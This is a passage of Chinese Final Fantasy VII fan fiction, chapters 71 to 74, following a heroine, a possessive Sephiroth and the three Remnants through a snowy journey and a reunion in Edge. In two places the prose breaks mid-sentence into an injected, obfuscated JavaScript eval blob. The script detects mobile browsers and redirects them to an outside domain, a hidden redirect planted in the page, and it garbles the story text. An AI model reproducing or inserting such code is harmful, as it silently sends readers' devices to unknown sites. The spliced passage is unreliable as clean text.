破碎的记忆在脑海中闪过,拼凑出幻境里发生的一切。那个同位体受到这条世界线的杰诺瓦影响,对她产生了扭曲的执念,不断利用她的记忆重塑自己。 萨菲罗斯指的是什么,不言而喻。 “但是没关系。”他微笑道,“从今以后只有我。” 萨菲罗斯捧起她的脸颊,冰凉的指腹拂过眼尾,又沿着五官的轮廓一路滑至唇畔:“也只能有我。” 他的动作很温柔,可被触碰过的地方却接连泛起一层令人战栗的酥麻,如同水面的涟漪层层荡漾开来。巨大的信息量如同海潮冲击着大脑,将思绪搅得一团糟,她后退了一步,和对方拉开距离。 “我想自己休息一下。” 怀抱着她的人似乎顿了顿,半晌后才松开手。她没有在意对方是否离开,将自己埋进柔软的被褥。 她开始思考两个精神病到底是会合成一个更严重的精神病,还是可以负负得正,缓解病情。 最终她得出的结论是人躺久了就会睡着。 再次醒来的时候,她正被萨菲罗斯抱在怀里。 银鳞的巨蟒不知何时重新缠绕上来,将冰冷的头颅埋入她的颈窝,丝绸般的银丝与她的长发交织在一起,纠成密不可分的一团。她推了推紧扣在腰间的臂弯,但那道如同大理石般的身躯纹丝不动,狡猾的外星生物利用体重优势将她困在身下 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每天除了吃和睡以外不需要思考任何事,想要什么都有人送到手上的生活确实很美好,但问题在于杰诺瓦的浓度稍微有点过高了。哪怕萨菲罗斯并不在她的视线范围内,那股强烈的存在感依旧无处不在,从现实渗入梦境,溢满每一个角落。就像是房子里有一只正在换季的猫,大量飘落的毛里参杂着少量的空气,令人逐渐窒息。 “你不需要进食吗?”她换了一种方法,“去吞噬其他世界线,恢复力量之类的。” “我有更重要的事情。”萨菲罗斯弯起唇角,碧绿的竖瞳凝望着她,“或者……如果你不介意的话,我也可以通过其他方式进食。” 她没问是什么方式,也不想知道。 世界陷入沉寂,连微风也逐渐凝滞。大概是她沉默的时间有些久,身后的人松开怀抱,起身走到门边。 “我一直在,”萨菲罗斯缓声道,“你只需喊我的名字。” “萨菲罗斯。” 银发的身影回过头,碧绿的竖瞳撞进她的眼眸,如此熟悉而柔和,仿佛融化的坚冰。舌尖那些强势或决绝的话语顿时被堵回喉间,化作一句—— “我想去看雪。” 鸦羽般的睫毛微微颤动,那双绮丽的竖瞳如同深邃的汪洋,翻涌着将她淹没。 萨菲罗斯没有回答,但他们赶上了今年冬季的第一场雪。 连绵不绝的山脉被冬雪披上层叠的银装,纷飞的白絮为整个世界罩上一层飘渺朦胧的薄纱。位于峡谷山腰的村落早已被人遗弃,唯剩被雪层覆盖的断壁残垣昭示着过往的繁荣与没落。 和车水马龙的边缘城不同,这里远离工业污染与人群喧嚣,她可以肆无忌惮地躺在绵软蓬松的雪堆中,看着天空如星芒般洒下的初雪。轻盈剔透的冰晶落在眉梢眼角,又随着人体的温度化开。 脚下的建筑似乎本是一座教堂,交错的石柱中依稀能看见坍塌的彩窗。巨大的雕塑静静矗立在废墟尽头,大理石打造的天使早已看不出原来的面目,一只翅膀也在风雨的侵蚀中断裂。萨菲罗斯斜倚在尚且完好的底座上,漆黑的单翼自身后展开,微颤着抖落羽间的积雪。 从她的角度望去,银发的身影刚好与背后的雕塑重合,仿佛神话里的天使打碎人类塑造的牢笼,从圣坛上坠入现实。 纷扬的细雪很快在她身上堆起薄薄一层,萨菲罗斯侧过头,将躺成一只海星的她从雪地中捞起,裹入柔软而厚实的黑羽之下。巨大的单翼如同一层密不透风的屏障,替她隔去风雪与寒冷,小心翼翼的动作仿佛她和雪一样脆弱,稍一用力就会支离破碎。 杰诺瓦不惧寒冷,可以一动不动地在雪中矗立很久,直到云层逐渐散去,淡金的暖阳洒落山头。 她抬起头,轻轻地揪了一下银白的发尾。 萨菲罗斯垂下眼帘,微微俯身,就像以往无数次做过的那样,停在一个恰好能让她够到的高度。纤长的睫毛遮去眼底的压迫感与侵略性,如同大型猛兽收敛起周身危险的气息,以温和无害的面目接近猎物。 她伸手揉了揉对方丝滑绵软的发顶,用指尖梳理开丝绸般的银丝,将细碎的积雪一点一点扫落。高大的身影如同一尊凝固的雕塑,由始至终都一动不动,任由她把自己脸侧的长发分离开来,像往日一样别在耳后。 萨菲罗斯没有说话,但她能够清晰感受到对方的胸膛像猫科动物一样发出愉悦而餍足的震动。 他好像在笑。 72.第 72 章 雪停了。 冬季的初阳破开云雾,柔和的流光沿着雪幕蜿蜒绵亘,最终汇聚成一池璀璨的鎏金。原本被风雪掩埋的建筑逐渐展露出原貌,与之一同浮现的还有星星点点闪烁的荧光。 剔透的晶体在阳光的照耀下折射出绮丽的光泽,蕴含着高纯度魔力的矿石碎片遍布白雪铺就的银河,或深或浅地洒落在通往山谷的道路上。 她一时间愣在原地,几乎怀疑自己出现了幻觉:“这是……” “坍塌的魔晶矿。”萨菲罗斯的神色表明他对此并不意外。 星球延续的能量以生命之流的形式存在,而溢出地表的生命之流又被称为天然的魔晄泉,会在附近形成大量的魔晶矿。自古以来人类对于自然资源的开采便不曾停歇,因此矿脉附近往往会衍生出村落与城镇,又随着资源的枯竭而没落。 陨石危机爆发时,磅礴的生命之流涌进现实世界,无意间造就出许多新的魔晄泉。这条被废弃的矿脉正是因此复苏,却又因年久失修而在风雪的侵蚀下坍塌,碎裂的晶石混着积雪滑下山涧。 尽管已经流失了一部分矿石,余下的数量仍旧十分可观,足以买下半个边缘城。不同属性的魔晶丛交织成一片流光溢彩的森林,环绕着尽头一池荧绿的泉水,温暖而又熟悉的力量萦绕在周身,她莫名产生一种跳下去的冲动,好像河流的另一头通往她的家,可以在那里安稳宁静地睡一觉。 “小心些。” 在她把脑海中的想法付诸行动之前,肩上突然压下一道不容抗拒的力度,将她从那股诡异的晕眩感中拉回现实。 “你的身体太过虚弱,会对同源的力量产生本能的渴求。”萨菲罗斯的指尖沿着肩胛骨的弧度向上游走,蛇鳞般冰凉光滑的黑色皮革穿过发丝,在她颈间柔软脆弱的肌肤上激起一层酥麻的战栗,“正如生物在需要进食时会感到饥饿。” “……进食?”她回过神,忽然有种不妙的预感。 “这具身体由星球所塑,自然也需要以星球的力量维持。”萨菲罗斯缓声道,“你对魔晶石的执念并非出于共鸣能力的影响,而是因为你以其中蕴含的魔力为食。” 头顶忽然传来清脆的声响,仿佛有什么东西碎裂开来。 满矿洞的魔晶石仿佛在一瞬间变成了奢华的自助餐,各种属性应有尽有,满足一切口味,如果不介意回归生命之流的话甚至能够畅饮魔晄泉。萨菲罗斯不但带她来看雪,还贴心地准备了午饭。 她有些恍惚地后退一步,猝不及防撞上冰冷坚硬的肩甲。 “怎么,”萨菲罗斯侧了侧头,水银般柔软绵滑的发丝扫过眼尾,“没有你喜欢的?” 轻描淡写的语气就像是在挑选食材。如果她回答“是”的话,对世界线了如指掌的灾厄马上就会寻找另一条矿脉。 她挣扎了片刻,最终还是接受了自己的食谱异于常人这个事实。隔壁还有一只以星球为食的杰诺瓦,那她吃点魔晶石也很正常吧。 大概。 这条矿脉几乎囊括了所有种类的魔石,她在琳琅满目的晶体中挑挑拣拣,选出自己感兴趣的属性。绕了一圈回来后,她发现那些本已被自己丢弃的魔石再次出现在原地。 她看了看堆成小山的魔石,又看了看倚在一旁的银发身影。 萨菲罗斯理所当然:“别挑食。” ……难道这也要讲究营养均衡吗! “这句话应该对某种只吃星球的外星生物说吧?” 一眨不眨的竖瞳宛如阴影中浮动的磷火,银发的灾厄丝毫不为所动:“杰诺瓦并不挑星球。” “只是这一次,”她眨了眨眼,决定转换策略,“真的不可以吗,萨菲罗斯?” “如果你坚持的话,倒也无妨。只不过……”他弯起唇角,不紧不慢地开口,“我原以为你会想要留着这座魔晶矿,现在看来是我多虑了。” 什么叫威逼利诱,这就叫威逼利诱。 “你……我……算了。”从心底涌出的话在舌尖转了又转,最终还是因为眼前莹莹发光的晶石咽了回去。她咬牙切齿,“我不挑就是了,别动我的魔晶矿。” 萨菲罗斯侧了侧头,碧绿的竖瞳微微眯起,像是捕获猎物后吃饱喝足的的大型猫科动物,眉梢眼角都带着愉悦的笑意。 离开矿洞的时候已经到了第二天,纷纷扬扬的大雪将世界染成苍茫的白,连绵起伏的山脉一望无际。他们沿着雪线重新出发,既没有任何计划,也没有目的地,前行或回头全凭心情,随心所欲得近乎任性。 还在神罗的时候,她曾无数次幻想过这段旅途,如今终于得以成为现实。被星球祝福的身体不会疲劳,不惧寒冷,只要她愿意便可以一直走到世界尽头,仰望天际无垠的星海。 但还需要很长时间才能迎来那一天。因为她总是会被沿途的事物吸引,并为此驻足停留。 他们攀上山顶俯瞰翻涌的云海,穿过结冰的碧绿湖泊,在灰白雪幕中与群鸟一同迁徙。大部分时间里都是她在看风景,而萨菲罗斯则在一旁静静地望着她。 杰诺瓦细胞的造物拥有完美无瑕的容貌,哪怕在瓢泼的大雪中也艳丽如虹彩。萨菲罗斯的五官线条凌厉而分明,极具侵略性,但他的上唇偏薄,下唇微厚,唇角弯着些许天生的弧度,因此看起来总是带着微笑。 她不知道萨菲罗斯的真实想法,但她感觉对方大抵也是高兴的。偶尔对上那双绮丽的竖瞳时,她能看见眼底星星点点流淌着的笑意。 夜幕降临之前,他们沿着山脊进入一片茂密的松林里。纷纷扬扬的白絮汇成厚实绵软的雪团,如同蛋糕上的霜糖般沉甸甸地挂在枝头,将这片森林渲染成童话中的冬日国度。她想起了橱窗里的圣诞水晶球,精致小巧的陶瓷人偶手牵手站在静谧的雪林中,随着清脆的音乐旋转,塑料雪花夹着彩色亮片浮起又落下。 她停了下来。 摇曳的篝火点亮了林间的空地,就像是打开了水晶球中的彩灯。萨菲罗斯靠坐在松木下,巨大的单翼将她密不透风地笼在怀里,柔软顺滑的绒羽隔绝开寒风和落雪,温暖得令人心安。 她从层层叠叠的羽毛里探出头。 “萨菲罗斯,”她弯起一道明媚的笑,“以后我们一起去看一年四季吧。” ——「我们去很远的地方吧,去环游星球,去看极光和冰原的雪蝶,去看一年四季的风景。」 碧绿的竖瞳骤然收缩,凝成细长的一道细长如针的深渊,横贯在深邃而又绮丽的碧绿汪洋当中。 萨菲罗斯似乎愣住了。 她仰起头。现在分明是深夜,他的神色却像是直视盛夏正午的太阳,即便被耀眼而炽热的光芒灼伤也不愿移开目光。璀璨的艳阳没入那双宝石般的眼眸,一同融作一池深邃的软玉。 “好。”半晌过后,他才低声说,“只要是你的愿望。” ——「我的愿望,就是实现你的愿望。」 她靠在漆黑的羽毛堆里,卷起一缕银白的发丝:“我们回家吧。” 旅途应该暂时告一段落了,她还有未看完的风景。 萨菲罗斯低下头,在她眼尾落下轻如细雪的一吻。 …… 回到边缘城时,夕阳堪堪没入天际。 三名思念体并不在家里,杰内西斯和安吉尔也少有地不见踪影。她的手机在之前战斗中损坏,独自绕了大半圈后才终于在教堂里找到了那些熟悉的身影。 事实上,她熟识的人好像全部聚集在了这里,不仅是曾经同行拯救世界的队伍,还有一身黑衣的塔克斯成员,连本来算得上宽敞的教堂也显得有些拥挤。褐发绿眸的古代种少女双手合十,脚下绽开柔和的白色法阵。 能让爱丽丝如此专注的必定是非常重要的事情,她没有惊扰任何人,穿过人群的缝隙停在一侧的角落。 “……所以我们接下来该做什么?”扎克斯不断地从法阵这头走到另一头,又从另一头重新倒回去,“去另一条世界线找萨菲罗斯开战?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14725705|131107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 红衣红发的青年倚在墙边,从诗集上漫不经心地移开目光:“乐观一点的话,我们会把萨菲罗斯送回生命之流,然后想办法把她带回来。” 小狗停下脚步:“……那不乐观的呢?” “萨菲罗斯会把我们送回生命之流,她想办法把我们带回来。” 小狗陷入了沉思。 她想了又想,总觉得有什么地方不对劲,最终还是忍不住转过头,低声问身旁那名金色短发的塔克斯:“到底发生什么事了?” “萨菲罗斯绑架了我们的一位前辈。”少女愤愤不平地说,“前辈当时受了很重的伤,那家伙一定是想趁人之危,得不到就毁掉。” “……?” 看来杰诺瓦的风评真的很差。 “啊,对了,你也是过来帮忙的塔克斯吗?”少女回过神,“我叫伊莉娜,你——” 法阵的光芒忽然熄灭了,少女声音戛然而止。 她还未反应过来,三颗毛茸茸的银色脑袋便像离弦的箭般扑进怀里,此起彼伏地发出“姐姐”的叫声。好不容易依次安抚完三名思念体,转身又掉进了爱丽丝和蒂法的怀抱。 “我们找了你好久,”爱丽丝伸手捏了捏她的脸,“萨菲罗斯阻断了星球意志,我听不到你的声音。” 蒂法严肃地竖起一根手指:“回来了也不告诉我们一声,下次再这样就不给你做小蛋糕了哦。” “我错了……妈咪救我!” 眼见黑发蓝眼的小狗大喊着“你还好吗有没有受伤你去哪里了”什么的就冲了上来,她连忙把求助的目光投向一旁的西斯内,但后者十分无情地回以一个自求多福的微笑。于是她又把恳求的眼神递给了曾,然而下一秒黑发的塔克斯果断移开了目光。 “要我说,当年就不应该让她和那群1st混在一起,看看现在成什么样了?”雷诺环抱双臂,“要是不谈恋爱就什么事都没有。” 鲁德不赞成地看了他一眼:“提醒你一下,我们打不过还在场的两位前1st。” 不远处的克劳德似乎松了一口气,把紧握在手里的破坏剑收回背后,隔着人群朝她点了点头,唇角掠过几分不易察觉的弧度。 最后一丝希望也破灭了,她悲伤地放弃了挣扎。 “姐姐,那个人是不是又像以前一样把你关在了山洞里?”罗兹开始抽泣。 “是不是还把你和一堆可怕的怪物放在一起,”伊莉娜睁大了眼睛,“只让你睡在石头上,什么都不给你。” ……什么睡山洞,什么怪物。她不用想都能猜到是谁给他们灌输了这些东西。 “行了,人还活着,没有缺胳膊少腿,都散了吧。” 最终还是杰内西斯借着身高优势把她从人堆里艰难地解救出来。 ——或者说是抓出来更适合。 “三个月,你音讯全无,”红发青年语气寒凉,烟青色的双眸仿佛淬上一层薄冰,“现在倒是知道完好无损地出现——” “我给你带了礼物,在天然的矿洞里发现的。”她把一枚魔石放进对方手里,“和你眼睛的颜色一样。” 杰内西斯:“……” 杰内西斯一怒之下怒了一下。 爱丽丝在一旁探出头,意味深长地地眨了眨眼。 手信这种东西,送了一个就要送另一个,不能厚此薄彼,所以最后她给每个人都送了魔石。 “对了,”她忽然回想起来,“有些魔石的属性比较特别,我不建议直接——” “欸?” 一阵白色的光芒闪过,扎克斯的身影消失不见,他原本所站的位置只剩下一只毛茸茸的……边境牧羊犬。 小狗抬起头。 小狗看着她。 “只是一些毛茸茸的小问题而已。”她面不改色,“大概一两个小时就会变回去了。” “不变回去也挺好,”杰内西斯弯起唇角,“这幅样子不是更适合吗?” 小狗倒下了。 73.第 73 章 和饱受工业污染侵蚀的米德加不同,边缘城冬季的雪柔软洁白,随风洒落在行人的肩头与眉梢,远远望去如同披上了一层朦胧的纱。 塔克斯的成员还有任务在身,确认她安然无恙后便踏着风雪赶回W.R.O复命。杰诺瓦是一种毫无社会公德心的外星生物,萨菲罗斯在将自己的同位体连带大半个城区一分为二后便带着她扬长而去,只给其他人留下满地狼藉和一眼望不到头的加班,雷诺一路上都在吊唁自己死去的年假。 直到告别的那一刻,扎克斯也还没有恢复原样,但他似乎已经乐在其中,雀跃地绕着爱丽丝打转。街灯一盏接一盏地亮起,逐渐远去的身影在雪幕中化作数个模糊的光点,唯有一抹鲜艳的赤红始终停留在身旁。 杰内西斯侧过头:“他的魔石是变成边牧,那我的魔石又是变成什么?” 希森收回目光,朝他弯起唇角:“猜猜看?” “无聊。”红发的青年扬起眉毛,“……孔雀?” “没想到你还挺有自知之明。”她三步并作两步跑到对方身旁,“可惜猜错了,我送你的是留影魔石。” 顾名思义,这种魔石能够将实时发生的事情以影像的形式留存。与人类科技的造物不同,魔法不仅能够记录画面与声音,还能短暂重现当时的景象,因此天然的留影魔石一度有价无市,商家为了营销噱头还为它起了另一个颇为诗意的名字—— “追忆”。 柔和的灯光落入烟青色的眼瞳中,如同焰火中融化的宝石。半晌过后,杰内西斯才再次开口:“你哪来这么多魔晶石?” “说了你又不爱听。” “你这么说我就知道了。”他嗤笑道,“神罗的大英雄还真是不忘初心。” 希森面不改色:“你的语气还爱他。” “哈……分手分了七年都没成功的人又不是我。你想——” 杰内西斯的声音戛然而止,余下的话语被一团精准砸到脸上的雪球吞没。 或许是她的反应速度比以往提升了许多,又或许只是红发的前神罗1st毫无防备,这次拙劣的偷袭竟然意外地取得了成功。希森头也不回地往前跑去,凛冽的寒风带着身后危险的低语掠过耳畔。 “……你最好别被我抓到。” 四周的落雪像是忽然被赋予了生命般蜂拥而来,她满脸不可思议地回过头:“你至于用魔石吗?” “别说得好像你没用一样。”杰内西斯头也不回地挡下一侧携卷着雪团的狂风,银白的耳坠在发间摇曳,“多大的人了,还玩这么幼稚的游戏?” “那你倒是别和我计较……!” 她旋身避开闪现在一侧的人影,却还是晚了半秒,手腕被对方堪堪扣住。在惯性的作用下她猝不及防地失去平衡,下意识地反过来抓住对方的衣袖,最终结果就是两人双双倒进了庭院的雪堆里,满头满脸都是柔软的白絮。 “——杰内西斯!” 被风掀起的碎发凌乱地挡住视线,将灰黑的夜空分割成不规则的数个碎片。她咬牙切齿地爬起来,抓起一团雪扔向对方,然而这次杰内西斯并没有躲开,任由那抹柔软的白在自己身上散开。 “造型不错,很有幽默感。”他忽然弯起唇角,张开手展露出掌心那颗烟青色的魔石,“来,笑一下。” ……上当了。 什么叫搬起石头砸自己的脚,这就叫搬起石头砸自己的脚,她已经可以想象到以后杰内西斯每年都会把这段留影拿出来嘲笑一遍。 “不行,删掉!”希森试图越过他的身体够到另一只手里的魔石,“你幼不幼稚?” 红衣红发的青年懒洋洋地躺在雪中,不躲也不闪,烟青色的眼底掠过几分戏谑:“你确定要继续和我抢?” 以往训练的时候,几人之间便不乏类似的打闹,通常都是以几句拌嘴收场,这也导致她肆无忌惮惯了,和对方相处时根本不会思考太多。此刻回过神才发现自己几乎是压在杰内西斯身上,仅靠单手半支撑着。 温热的气息化作氤氲的白雾,又在触碰到垂落的发梢前随风化开,她的倒影在那双绿松石般的眼瞳中清晰可见。继续往前的话似乎有些不对劲,但现在退缩又像是认输。 她认真地思考了片刻。 然后把红发红衣的青年一把按进了雪里。 用留影魔石录下了前神罗1st气急败坏的珍贵影像。 半空中闪出耀眼的星火,杰内西斯冷笑一声,正要抓住她的手。下一秒头顶的路灯如同故障般开始闪烁,银发竖瞳的少年像猫一样悄无声息地出现在身旁,苍白/精致的面容半隐在黑暗中:“姐姐,你没有受伤吧?” “你倒是费心。”杰内西斯慢条斯理地站起身,语调薄凉,“小孩子还是少操心大人的事情。” “家人之间应该互相关心,这是姐姐教的。”亚祖抬起手,指尖旋起的柔和气流缓缓吹散她发间与肩头的积雪,“姐姐,雪化了会很冷,小心着凉。” “是吗,怎么没见你们关心一下创造自己的那位‘家人’?” 四周的温度似乎上浮了些许,仿佛有一道无形的暖流化开风雪,萦绕在她的身边。一大三小的四道身影在夜幕下对峙,少年手中的武器即将凝聚成形,而灼热的焰火也几乎攀上银白的发丝。 她看向三名思念体,放缓了语气:“不是说好在家里等我吗?” 剑拔弩张的氛围在刹那间凝固。卡丹裘顿了顿,语气里染上几分无辜:“那个人在我们的房子里,姐姐。” “我们回不了家。”罗兹小声说。 街道对面的房屋静寂无声,门廊与窗户被漆黑的夜色吞没,如同大型猛禽的深不见底的眼瞳,一眨不眨地凝视着毫无知觉的猎物。尽管这段时间里萨菲罗斯收敛了许多,但杰诺瓦喜欢划分领地和宣示主权的习惯却一点也没有改变。 看起来以后也不会变。 “姐姐要回去吗?”亚祖抬起头,紧绷的神色仿佛在说某个有去无回的陷阱。 无形的目光有如实质,沉重地压在背后。希森沉默了片刻,这是一道无解的选择题,无论回答是与否都会引发杰诺瓦之间的战争。 杰内西斯看了她一眼,面无表情地转身离开。 “……珍珍,你要去哪里?”她眨了眨眼,“我们的战友情谊呢?” 红发的青年头也不回:“收拾客房。” “你突然变得好贴心,我有些不适应。” “如果你今晚想回去观摩杰诺瓦的家暴现场的话,我倒也不介意。”在进门的前一刻,杰内西斯转过身,恰好拦住跟在她身后的少年,“但是他们几个不行。” “……为什么?”卡丹裘的语调有些急促,“我们可以留下来照顾姐姐,而且你——” “你是嫌她的麻烦还不够多,希望萨菲罗斯半夜提着刀过来找人吗?”杰内西斯打断了他的话,居高临下地看着三人,“要么跟我一起去安吉尔家,要么出去。” …… 第二天醒来的时候,她很欣慰地看见太阳依旧照常升起,世界也没有毁灭。从客房的角度能看见三颗毛茸茸的银色脑袋等在门口,怀里抱着一看就是安吉尔友情提供的爱心早餐。 希森觉得有必要把解决杰诺瓦内部矛盾这件事提上日程,否则自己的房子迟早不保。 比起卡丹裘和罗兹分外凝重的神色,亚祖显得冷静许多,和往日一样驾车陪同她来到米德加的废墟。哪怕如今的神罗大楼只剩一座千疮百孔的水泥框架,也依旧是目之所及最高的建筑,迎着寒风俯瞰早已面目全非的圆盘城。 她坐在顶楼的残垣边缘,脚下是被埋葬的繁荣。 “姐姐,我们今天就去找新的房子。”卡丹裘抢在她之前开口,“只要是你喜欢的地方,哪怕是其他世界我们也能做到,不会再让那个人打扰到你。” “萨菲罗斯那边的问题,我自己会解决。”她摇了摇头,“他属于这个世界,也找到了他所追寻的「母亲」,但你们不一样。” 少年顿住了。 “你们有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14815035|131107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 考虑过去其他世界看看吗?”她望进那双纤细的竖瞳,“去更远的,有「母亲」的世界。” 脚边的碎石忽然化为齑粉,卡丹裘的指节因用力过度而泛白。他沉默了好半晌,才缓缓开口:“是因为那件事吗?” “因为我们导致另一条世界线的萨菲罗斯入侵,所以失去了留在你身边的价值。”少年冷静的音线下压着微微的颤抖,“你不需要……没用的累赘。” 她似乎曾经听到过类似的话语,那个孩子同样迫切地想要证明自己的利用价值,只为了不被抛弃。 “……这些话是谁跟你说们说的?” 卡丹裘没有回答,但他的表情已经出卖了答案。 “没保护好这个世界是我自己能力不足,和其他人没有关系,这是我选择留下你们应该承担的后果。”希森平静地说,“你们并不需要有所谓的价值,我也不打算把你们赶走。” “……可我们不想离开。”罗兹这次少见地忍住了泪水,“我们不能一直留在姐姐身边吗?” “为什么是我?”她顿了顿,“因为杰诺瓦的标记对你们造成的影响吗?” 有那么一瞬间,卡丹裘似乎想要点头肯定,但最终还是迟疑了片刻。 “姐姐是「母亲」选中的人。”少年开口道,“但是在「母亲」选择了「萨菲罗斯」的时候,姐姐让他把我还回来。” 遵循弱肉强食原则的杰诺瓦意志只会认可最强大的个体。作为萨菲罗斯创造出的代行者,三名思念体与生俱来的使命就是成为对方的工具和养料,不管在哪条世界线都是被献祭的存在。 “我们不被「母亲」选择,”卡丹裘轻声说,“但是被你选择了。” 寒风穿过层层高楼,在残破的壁宇之间发出微弱的叹息。她抬起眼帘:“但是我终有一天也会离开。我不是杰诺瓦,跟随我的结果只有在力量耗尽之后消失。” 少年没有说话,近乎固执地看着她。 “创造你们的那一个「萨菲罗斯」已经消失了,”希森朝他弯起一道明媚的笑,“你们可以选择自己的道路,就像他曾经所做的那样。” “我们想要选择姐姐。”亚祖上前一步,单膝半跪在她身旁,将苍白而又冰冷的脸颊贴上她的掌心,“即使这个世界没有「母亲」也无妨,姐姐很强大,足以成为新的「母亲」。” 他用最冷静的语气说出了最不冷静的话:“我们可以帮你取代萨菲罗斯,也可以成为你的伴侣。” 她摸了摸额头,确认自己没有发烧,也没有出现幻听和幻觉。 “姐姐觉得冷吗?”卡丹裘掌心立刻燃起了火焰。 “……不。”希森冷静地说,“首先声明我并不完全反对这个计划。” 三名少年瞬间看向她。 “但伴侣这件事绝对不行,从年龄上来说你们还未成年,而且三个人也太多了。”她深吸了一口气,“另外……以我们目前的实力想要打败萨菲罗斯大概还需要几千——或许我努力一下——几百年。” “我们可以等,”亚祖下意识收紧了手上的力度,又飞快地松开,“只要姐姐愿意。” “不管你们现在想要什么,去看过更多的世界后再做决定也不迟。”她轻轻地收回手,“我们还有很多时间,或许你们会改变想法,或许另一个「母亲」选择的是你们。” 归根到底,三名思念体不过是刚“出生”不到一年的孩童,只是被杰诺瓦灌输了超越成年人的知识与能力,实际经历过的唯有没多久就后便毁灭的原生世界。刚破壳的雏鸟会把所见到的第一个生物认为母亲,而拥有杰诺瓦标记又恰好在这个时间点和他们相遇自己便替代了母亲的形象。 “我不想离开——”罗兹的声音开始哽咽,余下的话语却被卡丹裘的目光赌了回去。 “只是像去旅行一样而已,只要你们想,随时都可以回家。”希森本来也没有指望他们能够马上接受自己的提议,但这已经是她所能做出的最合适的选择,“在我离开之前……考虑一下吧?” 74.第 74 章 三名思念体踏上旅途的时候,正好临近圣诞节。 或许是受到了边缘城节日氛围的影响,少年在离开前把家里重新装饰了一遍,庭院里新种下的松柏被挂满彩灯和金铃,风一吹便叮当作响。看着门廊与墙壁上无处不在的榭寄生花环,希森开始思考这是因为杰诺瓦不太了解这方面的习俗,还是这个世界的节日与她故乡的有所不同。 银发黑衣的身影站在窗边的榭寄生花丛下,像是在思考,又像是单纯的出神。每当萨菲罗斯利用不怎么令人愉快的手段达到自己目的以后,便会短暂地安静一段时间;反过来说也成立,每当他格外安静的时候,便一定在做什么不那么令人愉快的事。 厨房的烤箱传来清脆的提示音,点心香甜浓郁的气息逐渐溢满整个客厅。她咬了一口单翼造型的姜饼人,糖霜似乎放得太多了,有点甜。 如果亚祖和罗兹在的话应该会喜欢,两名少年对甜食几乎来者不拒。但希森不清楚以杰诺瓦细胞重塑后的身躯是否还会像人类一样进食,她犹豫了片刻:“萨菲罗斯,你现在还有味觉吗?” “如果你指的是对食物味道的感知,”高大的阴影悄无声息地将她笼罩,萨菲罗斯低下头,像捕食的蛇一样自然而轻巧地衔走了她手里剩下的半块姜饼,“很甜。” 连外星生物都这么评价,那这次的甜点大概真的有些失败了。 希森正打算把剩下的甜点收走,回过头却发现烤盘上已经空了一半,其他造型的点心都还在,唯独少了带有单翼的姜饼人。银发的灾厄好整以暇地看着她,依旧是平日里那副完美无瑕的模样,似乎在短短几秒内不翼而飞的食物和自己全然无关。 “……你不是说很甜吗?” 他的语气理所当然:“我并不挑食。” 她想了想,决定以后把失败的甜点都投喂给身旁的杰诺瓦。 萨菲罗斯似乎猜到了她的想法,侧了侧头:“我不是那三个思念体。” “确实不是,他们可不会偷吃。”希森打包好剩下的甜点,没有理会身后几乎凝成实质的目光,“如果卡丹裘三人回来的话,不要再对他们动手了。” 将她覆盖的阴影并没有褪去。 “为什么?” “因为这次他们不会留下,”她转过身,看向那双碧绿的竖瞳。哪怕拥有极为相似的容貌,萨菲罗斯的眼眸依旧是最特别的存在,如同湖面下狭长的深渊,当出现情绪波动时便会向外蔓延,“和你过去的选择一样。” 杰诺瓦拥有吞噬星球的本能,侵略和毁灭是他们的天性,当三名少年见识到星球乃至宇宙的广阔后,便不会再停下脚步。正如当初萨菲罗斯毫无留恋地跳入魔晄池,选择继承「母亲」的意志。 “为什么不阻止他们,”银发的灾厄倚在门边,无法忽视的存在感令原本说得上宽敞的厅堂忽然变得逼仄狭窄,“你不是很在意这颗星球的存亡么?” “怎么阻止?”她笑了起来,“让他们留在这里一直扮演人类吗?” 萨菲罗斯未置可否:“只要你下达命令,他们就会遵从。” 执意让三名思念体离开的人是他,现在对她的选择寻根问底的人也是他。希森没有被对方的逻辑绕进去:“你到底想问什么?” 潜藏在阴影里的蛇上前一步,丝绸般的发丝与倾泻的光交织在一起,如同流淌的水银。萨菲罗斯抬起手,仿佛恋人般温柔而又亲昵地捧起她的脸,迫使她微微仰头看向自己。 “你的选择总是令人意外。”他的嗓音低沉平缓,近乎轻语,“这也是你当初离开的原因吗?” 她愣了好一会儿,才明白这句话指的是什么。 萨菲罗斯曾经给过她选择,是阻止年少时期的自己成为灾厄,还是回到这条世界线面对末日。她给出的答案和如今一样。 她本以为他并不在乎。 她本以为他这么做只是为了逼迫她选择那个堕落的灾厄,让她因此痛苦并后悔而已。 “不是。”希森沉默了片刻,“是因为我的祝愿。” ——希望你自由而快乐。 ——去过你想要的生活。 这是她最初的祝愿。也是很久很久以前的愿望,当时她从来没有想过自己会和神罗的英雄相恋,只是想打开那个一直束缚着他的牢笼而已。 一直扮演人类的英雄太累了,所以去走你真正认可的道路吧。 哪怕代价是永远失去她爱着的那个人。 因为成为灾厄的萨菲罗斯,才是完整的萨菲罗斯。 “不过你应该已经忘了。”她轻轻推开他的手。 萨菲罗斯顺势扣住她的手腕,冰冷光滑的皮革如同缠着猎物蜿蜒盘旋的蛇腹。那双狭长的竖瞳一眨不眨地凝视着她,似乎想要将她寸寸拆解。 “我以为你更想要过去那个「英雄」。” 这句话完全没有给她留下任何回旋的余地。如果答错的话,这颗星球可能坚持不到明天;答对的话,她可能走不出这座房子。 